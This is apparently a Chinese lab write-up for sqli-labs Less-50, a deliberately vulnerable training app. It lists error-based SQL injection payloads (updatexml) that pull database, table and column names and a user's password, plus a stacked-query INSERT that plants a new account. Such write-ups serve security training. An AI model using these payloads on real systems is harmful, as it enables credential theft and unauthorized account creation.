sqli-labs-Less-50

SQLI-LAPS 实验记录

Less-50

这一关我们采用报错注入的方式,可以查询到数据库名称、表名、列名等信息。

首先我们在命令行中输入sqlmap命令:

sql 复制代码
?sort=1

结果如图所示,列出了数据的具体信息,但这不是我们想要的方式。

接下来,我们尝试使用updatexml摄氏注入的方法来进行注入。

sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)#

结果如图所示,爆出了数据库名称,接下来我们就可以继续报错注入的方式,查询表名、列名等信息。


  • 查询表名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
  • 查询列名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
  • 查询数据:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,id,password) from security.users where id=1),0x7e),1)#

除此之外,我们还可以使用insert方式,向数据库中插入我们想要的账号和密码信息:

sql 复制代码
?sort=1; insert into users(username,id,password) values('heze111',111,'love')#

可以看到,帐号heze111与密码love已经插入到数据库当中了。

相关推荐
亚空间仓鼠21 分钟前
关系型数据库MySQL(五):Galara高可用
数据库·mysql
weixin_5860614635 分钟前
JavaScript中Redux-Thunk处理异步Action的任务流
jvm·数据库·python
C^h37 分钟前
rtthread控制达妙4310电机
数据库·单片机·嵌入式硬件
晴天¥39 分钟前
达梦数据库共享存储集群搭建(DSC双节点+Openfiler-IP SAN存储)
linux·数据库·达梦数据库
2401_897190551 小时前
Golang怎么写TODO待办应用_Golang TODO应用教程【深入】
jvm·数据库·python
渔舟小调1 小时前
P11 | 收藏与行程:用户行为类接口的设计模式
数据库·设计模式·oracle
m0_678485451 小时前
CSS实现浮动图标与文本居中对齐_配合浮动与flex
jvm·数据库·python
做时间的朋友。1 小时前
MySQL 8.0 窗口函数
android·数据库·mysql
试试勇气1 小时前
MySQL--库的操作
数据库·mysql
2401_887724501 小时前
uni-app动画效果实现 uni-app如何使用animation API
jvm·数据库·python